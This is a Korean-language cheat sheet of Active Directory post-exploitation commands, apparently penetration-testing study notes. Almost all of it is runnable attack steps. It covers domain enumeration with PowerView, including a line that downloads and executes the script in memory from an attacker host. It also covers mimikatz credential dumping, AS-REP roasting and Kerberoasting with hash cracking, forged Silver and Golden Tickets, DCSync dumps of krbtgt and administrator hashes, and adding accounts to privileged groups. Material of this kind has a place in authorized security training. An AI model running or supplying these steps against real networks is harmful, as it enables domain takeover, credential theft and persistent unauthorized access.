Active Directory
Active Directory 환경에서의 Post Exploitation 기법입니다.
수동 열거
사용자 정보
# 도메인 사용자 목록
net user /domain
# 특정 사용자 정보
net user <USERNAME> /domain
# 현재 사용자
whoami /all
whoami /user
whoami /groups
whoami /priv
그룹 정보
# 도메인 그룹 목록
net group /domain
# 특정 그룹 멤버
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
# 로컬 그룹
net localgroup
net localgroup Administrators
컴퓨터 정보
# 도메인 컨트롤러
nltest /dclist:<DOMAIN>
# 도메인 신뢰
nltest /domain_trusts
PowerView를 이용한 열거
설치 및 로드
# 다운로드
iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -outfile PowerView.ps1
# 로드
powershell -ep bypass
. .\PowerView.ps1
# 또는 메모리에서 직접
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/PowerView.ps1')
도메인 정보
# 도메인 정보
Get-NetDomain
# 도메인 컨트롤러
Get-NetDomainController
# 도메인 정책
Get-DomainPolicy
(Get-DomainPolicy)."SystemAccess"
# 포레스트 정보
Get-NetForest
Get-NetForestDomain
사용자 열거
# 모든 사용자
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
# 특정 사용자
Get-NetUser -Username <USERNAME>
# 사용자 속성
Get-NetUser -Username <USERNAME> | select *
# SPN 있는 사용자 (Kerberoasting)
Get-NetUser -SPN
Get-NetUser -SPN | select samaccountname,serviceprincipalname
그룹 열거
# 모든 그룹
Get-NetGroup
Get-NetGroup | select cn
# 특정 그룹
Get-NetGroup "Domain Admins"
Get-NetGroup "Enterprise Admins"
# 그룹 멤버
Get-NetGroupMember "Domain Admins"
Get-NetGroupMember "Domain Admins" | select MemberName
컴퓨터 열거
# 모든 컴퓨터
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
# 살아있는 컴퓨터
Get-NetComputer -Ping
# 로컬 관리자 액세스 확인
Find-LocalAdminAccess
# 도메인 관리자 세션 찾기
Find-DomainUserLocation
세션 열거
# 특정 컴퓨터의 세션
Get-NetSession -ComputerName <RHOST>
Get-NetSession -ComputerName <RHOST> -Verbose
# 레지스트리 ACL 확인
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
공유 열거
# 도메인 공유
Find-DomainShare
# 특정 경로
ls \\<RHOST>\sysvol\<DOMAIN>\
ls \\<RHOST>\sysvol\<DOMAIN>\Policies\
# GPP 파일 읽기
cat \\<RHOST>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml
SPN 열거
setspn
setspn -L iis_service
setspn -T <DOMAIN> -Q */*
PowerView
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup
nslookup.exe <RHOST>
객체 권한 열거
주요 권한
| 권한 | 설명 |
|---|---|
| GenericAll | 객체에 대한 모든 권한 |
| GenericWrite | 특정 속성 편집 |
| WriteOwner | 객체 소유권 변경 |
| WriteDACL | ACE 편집 |
| AllExtendedRights | 비밀번호 변경 등 |
| ForceChangePassword | 비밀번호 강제 변경 |
| Self (Self-Membership) | 그룹에 자신 추가 |
PowerView
# 객체 ACL
Get-ObjectAcl -Identity <USERNAME>
# 특정 권한
Get-ObjectAcl -Identity "<GROUP>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
# SID 변환
Convert-SidToName S-1-5-21-1987370373-658406905-1781884369-1104
# 그룹 멤버 확인
Get-NetGroup "<GROUP>" | select member
# 그룹 멤버 추가/삭제
net group "<GROUP>" <USERNAME> /add /domain
net group "<GROUP>" <USERNAME> /del /domain
자격증명 수집
Mimikatz
.\mimikatz.exe
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets
특정 위치 접근
dir \\<RHOST>\<SHARE>
dir \\<DC>\c$
AS-REP Roasting
impacket-GetNPUsers
# 사용자 목록으로
impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>
# 인증 없이
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt -format hashcat <DOMAIN>/
# 크랙
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Rubeus
.\Rubeus.exe asreproast /nowrap
# 출력 파일
.\Rubeus.exe asreproast /outfile:hashes.asreproast
Kerberoasting
impacket-GetUserSPNs
# SPN 목록
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USERNAME>
# 해시 요청
impacket-GetUserSPNs -dc-ip <DC_IP> -request <DOMAIN>/<USERNAME>
# 크랙
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# 크랙
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Silver Ticket
필요 정보
- SPN 비밀번호 해시
- 도메인 SID
- 타겟 SPN
생성
# SID 확인
whoami /user
# Silver Ticket 생성
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::golden /sid:S-1-5-21-xxx /domain:<DOMAIN> /ptt /target:<RHOST> /service:http /rc4:<HASH> /user:<USERNAME>
# 확인
klist
# 접근
iwr -UseDefaultCredentials http://<RHOST>
Golden Ticket
필요 정보
- krbtgt NTLM 해시
- 도메인 SID
DCSync로 krbtgt 해시 획득
.\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\krbtgt
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>
Golden Ticket 생성
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx /krbtgt:<HASH> /ptt
# 또는
mimikatz # kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx /krbtgt:<HASH> /id:500
# 확인
misc::cmd
klist
dir \\<DC>\c$
DCSync
필요 권한
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes in Filtered Set
mimikatz
.\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\<USERNAME>
mimikatz # lsadump::dcsync /user:<DOMAIN>\Administrator
mimikatz # lsadump::dcsync /user:<DOMAIN>\krbtgt
impacket-secretsdump
# 특정 사용자
impacket-secretsdump -just-dc-user <USERNAME> <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>
# 전체 덤프
impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>
참고
- PowerView는 강력한 AD 열거 도구
- Kerberoasting은 SPN 있는 계정 대상
- AS-REP Roasting은 Pre-Auth 비활성화된 계정 대상
- Golden Ticket은 krbtgt 해시 필요
- Silver Ticket은 서비스 계정 해시 필요
- DCSync는 복제 권한 필요
- 모든 공격은 적절한 권한 필요